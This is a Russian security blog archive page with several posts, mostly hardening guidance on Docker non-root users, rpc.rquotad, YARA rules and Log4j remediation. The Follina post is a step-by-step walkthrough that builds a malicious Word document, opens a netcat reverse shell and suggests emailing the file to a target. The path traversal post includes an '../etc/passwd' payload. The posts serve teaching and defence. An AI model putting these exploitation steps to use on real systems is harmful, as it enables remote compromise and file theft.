Архив метки: Закрытие уязвимостей

🐳 Почему процессы в контейнерах Docker не должны запускаться от имени Root

Процессы в контейнере Docker не должны запускаться от имени root.

Безопаснее запускать приложения от имени пользователя, не являющегося root, которое вы указываете в Dockerfile или при использовании docker run.

Это минимизирует риск, так как уменьшает поверхность атаки для любых угроз в вашем контейнере.

В этой статье вы узнаете об опасностях, связанных с запуском контейнерных приложений от имени root.

Вы также увидите, как создать пользователя, не являющегося root, и настроить namespacing в ситуациях, когда это невозможно.

Почему запуск от имени Root опасен?

По умолчанию контейнеры запускаются от имени root.

Демон Docker запускается от имени root на вашем хосте, и запущенные контейнеры также будут запускаться от имени root.

Хотя может показаться, что root внутри контейнера является независимым пользователем, на самом деле это то же самое, что и учетная запись root на вашем хосте.

Разделение обеспечивается только механизмами изоляции контейнеров Docker.

Нет прочной физической границы; ваш контейнер – это еще один процесс, запущенный пользователем root на ядре вашего хоста.

Это означает, что уязвимость в вашем приложении, среде выполнения Docker или ядре Linux может позволить злоумышленникам выйти из контейнера и выполнить операции с правами root на вашей машине.

Существуют некоторые встроенные средства защиты, которые снижают риск возникновения такой ситуации.

Root внутри контейнера является непривилегированным и имеет ограниченные возможности. Это не позволяет контейнеру использовать команды системного администрирования, если вы вручную не добавите возможности или не используете привилегированный режим при запуске контейнеров.

Несмотря на эти меры, разрешение запуска приложений от имени root остается опасным.

Так же, как вы ограничиваете использование root в традиционной среде, неразумно без необходимости использовать его в контейнерах.

Вы создаете слишком привилегированную среду, которая дает злоумышленникам больше возможностей в случае взлома.

Запуск контейнеризированных приложений от имени пользователя, не являющегося привилегированным пользователем

Наилучшей практикой для контейнерных приложений является запуск от имени обычного пользователя.

Большинству программ не нужен root-доступ, поэтому смена пользователя обеспечивает немедленный уровень защиты от взлома контейнера.

Вы должны создать новую учетную запись пользователя как один из последних этапов в вашем Dockerfile.

Этого можно добиться с помощью инструкции USER:

FROM base-image:latest

RUN apt install demo-package

USER demo-user:demo-group

ENTRYPOINT ["demo-binary"]

Контейнеры, запущенные с этого образа, будут работать под именем demo-user.

Пользователь будет членом группы demo-group.

Вы можете опустить имя группы, если вам не нужно, чтобы пользователь состоял в группе:

USER demo-user

Вместо имен можно указать идентификатор пользователя (UID) и идентификатор группы (GID):

USER 950:950

Выделение известных UID и GID обычно является самым безопасным способом.

Это предотвращает сопоставление пользователя в контейнере с чрезмерно привилегированной учетной записью хоста.

USER часто указывается как предпоследняя ступень в Dockerfile.

Это означает, что вы все еще можете выполнять операции, требующие root, на более ранних этапах сборки образа.

Инструкция apt install в приведенном выше примере имеет законную потребность в root.

Если бы инструкция USER была размещена выше, apt был бы запущен от имени demo-user, который не имел бы необходимых прав.

Поскольку инструкции Dockerfile относятся только к сборкам образов, а не к запущенным контейнерам, безопасно оставить изменение пользователя на более поздний период в Dockerfile.

Изменение пользователя, под которым запускается контейнер, может потребовать обновления разрешений на файлы и папки, к которым он обращается.

Установите права на все пути, которые будут использоваться вашим приложением:

COPY initial-config.yaml /data/config.yaml



USER demo-user:demo-group

RUN chown demo-user:demo-group /data

В этом примере каталог /data должен принадлежать demo-user, чтобы приложение могло вносить изменения в свой конфигурационный файл.

Предыдущий оператор COPY скопирует файл от имени root.

Можно воспользоваться сокращенным вариантом, используя флаг –chown вместе с copy:

COPY --chown=demo-user:demo-group initial-config.yaml /data/config.yaml

В этом примере каталог /data должен принадлежать demo-user, чтобы приложение могло вносить изменения в свой конфигурационный файл.

Предыдущий оператор COPY скопирует файл от имени root.

Можно воспользоваться сокращенным вариантом, используя флаг –chown вместе с copy:

$ docker run -d --user demo-user:demo-group demo-image:latest

$ docker run -d --user demo-user demo-image:latest

$ docker run -d --user 950:950 demo-image:latest

Флаг –user запускает процесс контейнера от имени указанного пользователя.

Он менее безопасен, чем инструкция Dockerfile USER, поскольку вам придется применять его отдельно к каждой команде docker run.

Лучшим вариантом для регулярно используемых образов является создание собственного производного образа, в котором можно установить новую учетную запись пользователя:

FROM image-that-runs-as-root:latest

USER demo-user

$ docker build . -t image-that-now-runs-as-non-root:latest

Изменение пользователя стороннего образа может вызвать проблемы: если контейнер ожидает запуска от имени root или нуждается в доступе к путям файловой системы, принадлежащим root, вы увидите ошибки при использовании приложения.

Вы можете попробовать вручную изменить права на пути, вызывающие проблемы.

Кроме того, проверьте, есть ли у поставщика поддерживаемый метод запуска приложения с непривилегированной учетной записью пользователя.

Работа с приложениями, которые должны запускаться от имени root

Разделение имен пользователей – это техника работы с приложениями, которым нужны некоторые привилегии root.

Она позволяет сопоставить root внутри контейнера с пользователем, не являющимся root, на вашем хосте.

Имитированный root в контейнере имеет необходимые привилегии, но вынос не даст root-доступа на хост.

Ремаппинг пространства имен активируется путем добавления поля userns-remap в файл /etc/docker/daemon.json:

{

    "userns-remap": "default"

}

Использование default в качестве значения для userns-remap инструктирует Docker автоматически создать нового пользователя на вашем хосте под именем dockremap.

Root в контейнерах будет отображаться на dockremap на вашем хосте.

При желании можно указать существующего пользователя и группу, используя комбинацию UID/GID или имя пользователя/имя группы:

{

    "userns-remap": "demo-user"

}

Перезапустите демон Docker после применения изменений:

sudo service docker restart

Если вы используете nsuser-remap: default, пользователь dockremap теперь должен существовать на вашем хосте:

id dockremap
uid=140(dockremap) gid=119(dockremap) groups=119(dockremap)

Пользователь также должен появиться в файлах идентификаторов /etc/subuid и /etc/subgid:

$ dockremap:231500:65535

Пользователю выделен диапазон из 65 535 подчиненных идентификаторов, начиная с 231500.

В пространстве имен пользователей идентификатор 231500 сопоставлен с 0, что делает его корневым пользователем в ваших контейнерах.

Будучи UID с высоким номером, 231500 не имеет привилегий на хосте, поэтому атаки на взлом контейнеров не смогут нанести такой большой ущерб.

Все запущенные вами контейнеры будут работать с измененным пространством имен пользователей, если вы не откажетесь от этого с помощью docker run –userns=host.

Механизм работает путем создания каталогов с разнесенными именами внутри /var/lib/docker, которые принадлежат подчиненным UID и GID пользователя с разнесенными именами:

$ sudo ls -l /var/lib/docker/231500.231500



total 14

drwx------ 5 231500 231500 13 Jul 22 19:00 aufs

drwx------ 3 231500 231500 13 Jul 22 19:00 containers

...

Сопоставление имен пользователей – это эффективный способ повысить изоляцию контейнеров, избежать выходов из них и сохранить совместимость с приложениями, которым требуются привилегии root.

Однако есть некоторые недостатки: эта функция лучше всего работает на свежем экземпляре Docker, тома, смонтированные с хоста, должны иметь настроенные разрешения, а некоторые драйверы внешних хранилищ вообще не поддерживают сопоставление пользователей.

Перед использованием этой опции следует изучить документацию.

Заключение

Запуск контейнерных приложений от имени root представляет собой риск для безопасности.

Хотя это легко упустить из виду, изоляция, обеспечиваемая контейнерами, недостаточно сильна, чтобы полностью отделить пользователей ядра от пользователей контейнера.

Root в контейнере – это тот же root, что и root на вашем хосте, поэтому успешная компрометация может обеспечить контроль над вашей машиной.

Как автор образа, вы должны включить инструкцию USER в свой Dockerfile, чтобы ваше приложение запускалось без root.

Пользователи образа могут отменить эту инструкцию с помощью docker run –user, чтобы назначить определенные UID и GID. Это поможет смягчить ситуацию, когда образ обычно использует root.

Вы можете еще больше усилить безопасность, удалив все возможности из контейнера с помощью –cap-drop=ALL, а затем включив в белый список те, которые необходимы, с помощью флагов –cap-add.

Сочетание этих методов позволит запустить ваше приложение от имени пользователя, не являющегося root, с минимальным набором необходимых привилегий, что повысит уровень безопасности.

см. также:



2022-08-18T15:00:27
Закрытие уязвимостей

🕷️ Быстрый обзор: Уязвимость обхода пути

Уязвимость Path Traversal – это легко обнаруживаемая уязвимость в веб-приложении.

В OWASP Top 10 2022 она входит в раздел A1: Broken Access Control. 94 процента веб-приложений в той или иной форме имеют нарушенный контроль доступа, как отмечает OWASP.

Что такое уязвимость Обход пути?

Уязвимость обхода пути (Path Traversal) позволяет злоумышленникам обходить приложение для доступа к ограниченным файлам/каталогам сервера.

Используя эту уязвимость, злоумышленник может получить доступ к коду, учетным данным внутренних серверов, файлам/библиотекам операционной системы и т.д.

Атрибуты безопасности, атакуемые уязвимостью Path Traversal

  • Конфиденциальность – злоумышленник может получить доступ к конфиденциальным файлам/каталогам, используя эту уязвимость.
  • Целостность – Злоумышленник может создавать или вставлять файлы, каталоги, программы и т.д.
  • Доступность – злоумышленник может удалить важные файлы, программы, библиотеки и т.д. В результате критически важные данные могут быть недоступны для настоящих пользователей.

Каковы другие названия уязвимости Path Traversal?

  • Уязвимость обхода каталога
  • BackTracking
  • Точечный слеш
  • Проход по каталогам

Как обнаружить уязвимость?

Это достигается путем использования “./../../../../…” для доступа к файлам/каталогам в обход установленной защиты.

Злоумышленник может найти эти файлы/каталоги, просто перебрав пути URL, и получить конфиденциальную информацию.

PunkSPIDER – поисковая система уязвимостей вэб приложений онлайн

Примеры уязвимости Path Traversal

Доступ к ограниченным ресурсам через манипулирование URL-адресом

Предположим, что веб-приложение показывает результаты экзаменов студентов, используя приведенную ниже схему URL:

https://test-website-url.com/loadResult?rollno=653748

Изначально веб-приложение запрашивало аутентификацию (имя пользователя и пароль), прежде чем показать результат.

Теперь злоумышленник просто пытается увидеть результаты экзамена других студентов, просто изменив регистрационный номер студента, как указано ниже.

https://test-website-url.com/loadResult?rollno=653745
https://test-website-url.com/loadResult?rollno=653746
https://test-website-url.com/loadResult?rollno=653747
https://test-website-url.com/loadResult?rollno=653744

Если злоумышленник может получить доступ к результатам экзамена другого студента, приложение имеет уязвимость обхода пути.

Доступ к ограниченным файлам через обход путей

Некоторые веб-приложения не реализуют механизмы защиты от обхода серверных файлов.

В приведенном ниже примере показано, как злоумышленник получает доступ к файлу с паролями:

https://test-website-url.com/loadResult?file=../../../etc/passwd

Устранение уязвимости

  • Наиболее эффективным способом устранения этой уязвимости является запрет на ввод данных пользователем. Если это невозможно, проверяйте вводимые пользователем данные перед их передачей в приложение.
  • По возможности используйте только те пути, которые необходимы (белый список).
  • Избегайте использования черного списка вводимых данных, поскольку его можно обойти с помощью подделки вводимых данных.
  • Используйте стандартный сканер уязвимостей перед развертыванием приложения в производственной среде.

см. также:

 



2022-08-17T10:27:25
Закрытие уязвимостей

🔬 Elastic выпустили 1000+ правил yara и 200+ эвристических правил

Elastic Security предоставляет правила YARA на основе сигнатур в продукте Elastic Endpoint.

Эти правила используются для обнаружения и предотвращения возникающих угроз в системах Linux, Windows и macOS.

В репозитории Elastic хранится более 1 000 правил YARA, которые используются каждый день для предотвращения широкого спектра угроз, включая: трояны, программы-вымогатли, криптомайнеры, фреймворки пентеста и многое другое.

Эти правила YARA могут быть использованы сообществом в различных случаях, например:

  • Защита сети
  • Поиск угроз
  • Реагирование на инциденты/экспертиза
  • Обработка/обогащение оповещений
  • Анализ вредоносного ПО

Правила Elastic Security Malicious Behavior

Предварительно созданные правила EQL с высоким уровнем сигнала, которые запускаются на конечной точке для пресечения вредоносного поведения.

Этот уровень защиты позволяет Elastic Agent защищать хосты Linux, Windows и macOS от широкого спектра методов атак, уделяя особое внимание следующим тактикам:

Предотвращение достигается путем объединения аналитики с ответными действиями по уничтожению конкретного процесса или всего дерева процессов, чтобы остановить противника на начальных этапах атаки.

Каждое правило защиты сопоставлено с наиболее релевантной тактикой, техникой и субтехникой MITRE ATT&CK.

Показатель истинных положительных результатов, который Elastic стремится поддерживать, составляет не менее 70%, поэтому они отдают приоритет точности логики аналитики, чтобы уменьшить область обнаружения с помощью профилактики.

Еще одним примером приверженности компании открытости в области безопасности является существующий публичный репозиторий правил обнаружения, где они делятся правилами EQL, которые работают на стороне SIEM и имеют более широкую логику обнаружения, что делает их более подходящими для обнаружения и охоты.

см. также:

 



2022-08-04T16:18:42
Закрытие уязвимостей

🐧 Как отключить службу rpc.quotad на CentOS/RHEL

Протокол, используемый rpc.rquotad, является незащищенным и устаревшим и должен быть отключен.

Эта уязвимость безопасности обсуждается в CVE-1999-9625, и более подробную информацию можно найти в этом документе.

Эта процедура может нарушить работу клиентов NFS, полагающихся на дисковые квоты.

Чтобы избежать проблем, запланируйте перерыв службы и остановите эти NFS-клиенты.

В CentOS/RHEL 6 и более ранних версий

1. Отредактируйте файл /etc/sysconfig/nfs так, чтобы в нем появилась запись RQUOTAD=”no”, например:

# fgrep RQUOTAD /etc/sysconfig/nfs

# Следующая строка отключает небезопасный, устаревший протокол, используемый RQUOTAD

RQUOTAD="no"

2. Перезапустите службу NFS, чтобы активировать изменения:

# /sbin/service nfs stop

# /sbin/service nfs start

В CentOS/RHEL 7 и более поздних версиях

CentOS/RHEL 7 и более поздние версии используют systemd для управления службами.

Операция маскирования не позволяет даже root запустить службу:

# /sbin/systemctl stop    rpc-rquotad.service

# /sbin/systemctl disable rpc-rquotad.service

# /sbin/systemctl mask    rpc-rquotad.service

Проверьте состояние службы и убедитесь, что служба может быть запущена/перезапущена.

# /sbin/systemctl restart rpc-rquotad.service

Failed to restart rpc-rquotad.service: Unit is masked.

# /sbin/systemctl status  rpc-rquotad.service

● rpc-rquotad.service

Loaded: masked (/dev/null; bad)

Active: inactive (dead


rpc.rquotad – это небезопасный и устаревший протокол, и его следует отключить.

см. также:

 



2022-07-25T12:20:06
Закрытие уязвимостей

💻 Follina – Уязвимость Microsoft MSDT

На компьютерах под управлением Windows мы используем различные продукты компании Microsoft.

Для этого существует инструмент под названием MSDT (Microsoft Support Diagnostic Tool).

Исследователь кибербезопасности “Kevin Beaumont” нашел в MSDT брешь безопасности (она уже использовалась) и сообщил об этом.

Он назвал его “Follina”.

Давайте узнаем об этом.

Что такое MSDT?

Microsoft Support Diagnostic Tool (MSDT) собирает информацию для отправки в службу поддержки Microsoft.

Затем служба поддержки Microsoft анализирует собранную информацию и использует ее для решения любых проблем, которые могут возникнуть на нашем компьютере.

По сути, программа собирает данные с нашей системы и отправляет их в службу поддержки Microsoft.

Это мастер диагностики и устранения неполадок Microsoft.

Он существует как установленный инструмент в папке “C:WindowsSystem32” начиная с Windows 7.

Что такое Follina?

Компания Microsoft признала, что в ее приложении MSDT обнаружен новый дефект нулевого дня RCE (Remote Code Execution).

Он получил название Follina.

Follina – это уязвимость удаленного выполнения кода, возникающая при вызове MSDT по протоколу URL из вызывающего приложения, такого как Word.

Злоумышленник, успешно использующий эту уязвимость, может выполнить произвольный код с привилегиями вызывающего приложения.

Затем злоумышленник может устанавливать программы, просматривать, изменять или удалять данные, а также создавать новые учетные записи в контексте, разрешенном правами пользователя.

Злоумышленник может получить доступ к привилегиям пользователя с помощью любого приложения или даже оболочки.

Злоумышленник может устанавливать программы, просматривать, изменять, удалять данные или создавать новые учетные записи с привилегиями пользователя. CVE-номер Follina – CVE-2022-30190.

Давайте на этом прекратим обсуждение, а теперь перейдем к практическому использованию этого эксплойта.

Предупреждение:- Эта статья предназначена только для образовательных целей. Мы сделали это на нашей собственной системе и никому не вредим. Делайте вещи на своей собственной системе и никогда не компрометируйте чужую систему без соответствующих письменных предпосылок. Мы не поддерживаем никакую незаконную деятельность.

Исследование Follina

Как мы узнали, это уязвимость MSDT (Microsoft Support Diagnostic Tool).

Это означает, что система будет затронута Microsoft Windows, поэтому нам нужна система Windows на VirtualBox или Vmware, а в качестве атакующей машины мы будем использовать Kali Linux.

Теперь на нашей атакующей машине (Kali Linux) нам нужно клонировать репозиторий Follina Джона Хаммонда с GitHub, применив следующую команду:

git clone https://github.com/JohnHammond/msdt-follina

На следующем снимке экрана мы видим результат выполнения команды:

Теперь нам нужно переместиться в наш только что клонированный каталог с помощью следующей команды:

cd msdt-follina

Теперь нам просто нужно применить следующую команду:

python3 follina.py -i X.X.X.X

В приведенной выше команде X.X.X.X – это наш IP-адрес.

Теперь на следующем снимке экрана мы видим, что наш вредоносный doc-файл создан и запускает приемник для своей HTML полезной нагрузки на порту 8000.

Теперь мы можем увидеть вредоносный файл (внутри каталога msdt-follina), как показано на следующем снимке экрана:

Нам нужно отправить его в систему Windows нашей цели.

Мы можем отправить его по почте или сочное SMS со ссылкой на скачивание вредоносного DOC-файла.

Мы разместили его на нашем децентрализованном облачном хранилище.

(Чтобы использовать его извне, нам нужно использовать наш внешний IP и пробросить необходимый порт).

Всякий раз, когда наша целевая система Windows открывает его и нажимает кнопку “Включить редактирование” в MS Word (более старые версии MS Office не требуют этого, мы можем получить их напрямую), мы получим обратное соединение с нашей Kali Linux.

По умолчанию скрипт Джона просто открывает калькулятор на Windows.

Но он может сделать гораздо больше, если мы создадим полезную нагрузку с помощью следующей команды, тогда мы даже сможем получить shell:

python3 follina.py -r 7777

В приведенной выше команде мы используем порт 7777 для установления соединения с полезной нагрузкой, здесь мы можем использовать любой неиспользуемый порт.

Приведенная выше команда создаст полезную нагрузку Netcat и запустит слушателя, а также создаст файл DOC в каталоге msdt-follina.

Теперь мы можем делать все, что может делать пользователь компьютера-жертвы.

Эта уязвимость вряд ли будет исправлена, по крайней мере, в течение последней недели.

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.



2022-06-16T17:19:39
Закрытие уязвимостей

🛡️ Как просканировать и устранить уязвимость Log4j?

Уязвимость Log4j является одной из самых смертоносных проблем безопасности в современных системах.

Логирование является ключевой функцией в современных приложениях, и библиотека логирования Log4j является лидером в этой области.

Эта библиотека используется в большинстве приложений, сервисов и систем.

Следовательно, все те приложения, в которых используется Log4j, подвержены этой уязвимости Log4j, обнаруженной в прошлом году.

В связи с растущими проблемами кибербезопасности во всем мире организации и частные лица предпринимают шаги по защите своих приложений, систем и данных.

И когда эта уязвимость была обнаружена, это еще больше напрягло профессионалов и бизнесменов.

Следовательно, обнаружение уязвимости Log4j и ее устранение крайне важно, если вы хотите защитить свои данные, сеть, репутацию и доверие клиентов.

В этой статье мы расскажем о том, что такое уязвимость Log4j, а также о шагах по ее обнаружению и устранению.

Давайте начнем с понимания Log4j и того, зачем он вам нужен.

Что такое Log4j?

Log4j – это утилита ведения логов с открытым исходным кодом, написанная на языке Java, которая в основном используется для хранения, форматирования и публикации записей журналов, создаваемых приложениями и системами, а затем проверки на наличие ошибок.

Записи могут быть различных типов, от веб-страницы и данных браузера до технических данных системы, в которой работает Log4j.

Вместо того чтобы писать код с нуля, разработчики могут использовать библиотеку Log4j, интегрируя ее код в свои приложения.

Используя Log4j, разработчики могут отслеживать все события, связанные с их приложениями, с помощью точной информации журнала.

Это помогает им контролировать работу приложений, вовремя обнаруживать проблемы и устранять их до того, как они превратятся в большую проблему с точки зрения производительности и/или безопасности.

Эта библиотека на базе Java была написана Чеки Гюльцю и выпущена в 2001 году под лицензией Apache License 2.0.

Она использует службы Java naming and Directory Interface (JNDI), чтобы позволить приложениям взаимодействовать с другими приложениями, такими как LDAP, DNS, CORBA и т.д., и получить функциональность каталога и именования для Java-приложений.

Log4j, по сути, является одной из самых известных библиотек протоколирования в Интернете и используется организациями из различных отраслей и стран.

Они интегрировали эту библиотеку протоколирования во множество приложений, включая лучшие облачные сервисы Google, Microsoft, Apple, Cloudflare, Twitter и др.

Ее разработчик, Apache Software Foundation, разработал Log4j 2 – обновление Log4j для устранения проблем, обнаруженных в предыдущих версиях.

В прошлом году в Log4j была обнаружена уязвимость, которая, если ее не устранить, может позволить злоумышленникам взламывать приложения и системы, красть данные, заражать сеть и выполнять другие вредоносные действия.

Давайте разберемся в этом подробнее.

Как работает Log4Shell?

Чтобы понять серьезность проблемы и то, какой вред может нанести Log4Shell, необходимо узнать, как работает эта уязвимость Log4j.

Уязвимость Log4Shell позволяет злоумышленнику удаленно внедрить произвольный код в сеть и получить полный контроль над ней.

Последовательность кибератаки начинается с того, что библиотека протоколирования, например Log4j, собирает и хранит информацию журнала.

Если нет библиотеки протоколирования, то все данные с сервера будут архивироваться сразу же после сбора.

Но если вы хотите проанализировать эти данные или вам нужно предпринять какие-то действия на основе конкретной информации журнала, вам потребуется библиотека протоколирования для разбора данных журнала перед их архивацией.

Как уязвимость Log4j может навредить пользователям?

Уязвимость Log4j вызывает опасения, поскольку она используется в широком спектре программных приложений и систем.

Поскольку протоколирование является важной функцией в большинстве программных приложений, а Log4j является ведущим решением в этой области, Log4j находит применение в различных программных системах.

Среди популярных сервисов и приложений, использующих Log4j, – Minecraft, AWS, iCloud, Microsoft, Twitter, интернет-маршрутизаторы, инструменты разработки программного обеспечения, средства безопасности и так далее.

Таким образом, злоумышленники могут атаковать большое количество приложений, сервисов и систем домашних пользователей, разработчиков кода, поставщиков услуг и других специалистов и частных лиц.

Кроме того, уязвимость Log4j чрезвычайно легко эксплуатировать злоумышленнику.

Для осуществления атаки в целом требуется небольшое количество навыков, но не экспертного уровня.

Именно поэтому количество атак, использующих эту уязвимость, растет.

Обратите внимание, что все версии Log4j до Log4j 2.17.0. подвержены воздействию; следовательно, вы должны обновить регистратор, если вы его используете.

Кроме того, известными поставщиками, на которых распространяется эта уязвимость Log4j, являются Adobe, AWS, IBM, Cisco, VMware, Okta, Fortinet и др.

Если вы используете любого из них, постоянно контролируйте свои приложения и используйте системы безопасности для устранения проблем, как только они возникают.

Как обнаружить Log4j и устранить проблемы

Уязвимость Log4Shell имеет 10 баллов по шкале CVSS.

Следовательно, все проблемы в Log4j еще не исправлены.

Но есть вероятность, что вы или ваш сторонний поставщик можете использовать Log4j, который вы использовали в своем приложении.

Поэтому, если вы хотите защитить свои данные, системы и сеть, выполните несколько шагов по устранению проблем.

#1. Обновите версию Log4j

Обновление текущей версии Log4j до Log 4j 2.17.1 является наиболее эффективным методом устранения уязвимости, если вы хотите защитить свое устройство и приложения от атак, вызванных уязвимостью Log4j.

Log4Shell – это тип атаки нулевого дня, которая потенциально может повлиять на вашу экосистему программного обеспечения.

Apache исправил некоторые уязвимости в последних версиях, но если ваша система была скомпрометирована до обновления, вы все еще находитесь в зоне риска.

Поэтому, исходя из этого, вы должны не только обновить версию, но и немедленно начать процедуры реагирования на инциденты, чтобы убедиться в отсутствии уязвимостей в ваших системах и приложениях и смягчить последствия атак.

Вы также должны просмотреть все журналы сервера, чтобы найти индикаторы компрометации (IOC), и постоянно контролировать свои системы и сеть.

#2. Используйте новейшие брандмауэры и системы безопасности

Брандмауэры, такие как Web Application Firewall (WAF) и брандмауэры нового поколения, помогают защитить периметр вашей сети от злоумышленников, сканируя входящие и исходящие пакеты данных и блокируя подозрительные.

Поэтому используйте в своей сети новейшие брандмауэры и установите строгие правила исходящих пакетов на своих серверах, чтобы предотвратить атаки, связанные с уязвимостью Log4j.

Хотя злоумышленники могут обходить брандмауэры, вы все равно получите определенную степень безопасности с брандмауэрами, которые могут блокировать запросы злоумышленников.

Кроме того, обновите все свои системы безопасности, такие как системы обнаружения вторжений (IDS), системы предотвращения вторжений (IPS) и т.д., с последними сигнатурами и правилами.

Эти системы помогут блокировать или фильтровать трафик RMI и LDAP от подключения к вредоносному серверу LDAP.

#3. Внедрите MFA

Установка многофакторной аутентификации (MFA) в ваших приложениях и системах обеспечит лучшую защиту от злоумышленников.

Она обеспечит второй уровень безопасности, даже если злоумышленнику удастся взломать первый уровень.

Для этого можно использовать биометрические данные, такие как отпечатки пальцев, сканирование радужной оболочки глаза и т.д., задать секретный вопрос или включить секретный PIN-код.

Использование MFA увеличит трудности и время злоумышленников для проведения полномасштабной атаки.

В то же время, он может немедленно сообщить вам об инциденте, чтобы вы могли предпринять необходимые шаги по устранению последствий, когда у вас еще есть время.

Кроме того, для уменьшения утечек данных вы должны применять строгую политику VPN.

Это позволит пользователям получить безопасный доступ к вашим системам из любого места, не опасаясь злоумышленников.

#4. Изменить системные свойства

В случае если вы не можете обновить библиотеку Log4j до последней версии, необходимо немедленно изменить системные свойства java, если вы используете версию от Log4j 2.10 до Log4j 2.14.1.

Вы должны настроить его таким образом, чтобы предотвратить поиск, который злоумышленники используют для обнаружения уязвимостей и последующего поиска способов их использования.

#5. Удалите JNDI

Причина этой критической уязвимости безопасности кроется в ее дизайне. Плагин JNDI Lookup имеет недостаток в конструкции, через который злоумышленники могут осуществить атаку.

JNDI используется для выполнения кода на основе входных данных в его журнале, которыми любой может легко манипулировать, поскольку журнал принимает любой запрос без проверки.

Исследователи безопасности обнаружили, что этот плагин с момента своего выпуска в 2013 году всегда принимал непарсифицированные данные и отправлял их в библиотеку Log4j.

Таким образом, уязвимость Log4j может быть использована с помощью простой инъекции строки. Как только злоумышленник введет ее, логгер примет операцию, запрошенную в строке, и выполнит ее мгновенно без проверки.

Поэтому, если вы хотите защитить свои системы и приложения, вы должны отключить класс JndiLookup. Это не позволит регистратору предпринимать действия на основе данных журнала.

На самом деле, поиск JNDI уже отключен в Log4j 2.16.0 по умолчанию в попытке обезопасить ваши приложения и системы.

Поэтому, если вы используете версию Log4j ниже 2.16.0, убедитесь, что вы отключили JNDI Lookup.

#6. Поговорите с вашими поставщиками

Если у вас все в порядке, брандмауэры и системы безопасности обновлены, версия Log4j обновлена, JNDI Lookup отключен и т.д., не расслабляйтесь.

Даже если вы не используете уязвимую версию Log4j в своих приложениях, ее могут использовать ваши сторонние поставщики. Таким образом, вы никогда не узнаете, как ваше приложение или система были взломаны, потому что на самом деле проблема была в интеграции со сторонними поставщиками.

Поэтому поговорите со своими поставщиками и убедитесь, что они тоже обновили Log4j до последней версии и внедрили другие методы обеспечения безопасности, о которых говорилось выше.

#7. Используйте сканер уязвимостей Log4j

На рынке представлено множество инструментов для сканирования уязвимостей Log4j, которые облегчают обнаружение уязвимостей Log4j в ваших системах и приложениях.

Поэтому, когда вы ищете такие инструменты, проверьте их точность, поскольку многие из них генерируют ложные срабатывания. Кроме того, найдите инструмент, способный удовлетворить ваши потребности, поскольку он может быть ориентирован на выявление уязвимости Log4j, сообщение об обнаружении и устранение уязвимости.

Так, если ваша цель – обнаружение, найдите сканер уязвимостей Log4j, который может обнаружить проблему, или используйте тот, который может обнаружить и устранить проблему.

Заключение

Уязвимость Log4j является критической проблемой безопасности.

Поскольку эта библиотека протоколирования широко используется в различных приложениях и системах, уязвимость Log4j получила широкое распространение, позволяя злоумышленникам использовать широкий спектр систем и приложений.

Поэтому, если вы хотите защитить свои системы и приложения от этой уязвимости, убедитесь, что вы обновили библиотеку Log4j до последней версии и применили лучшие практики безопасности, рассмотренные выше.



2022-05-11T16:30:08
Закрытие уязвимостей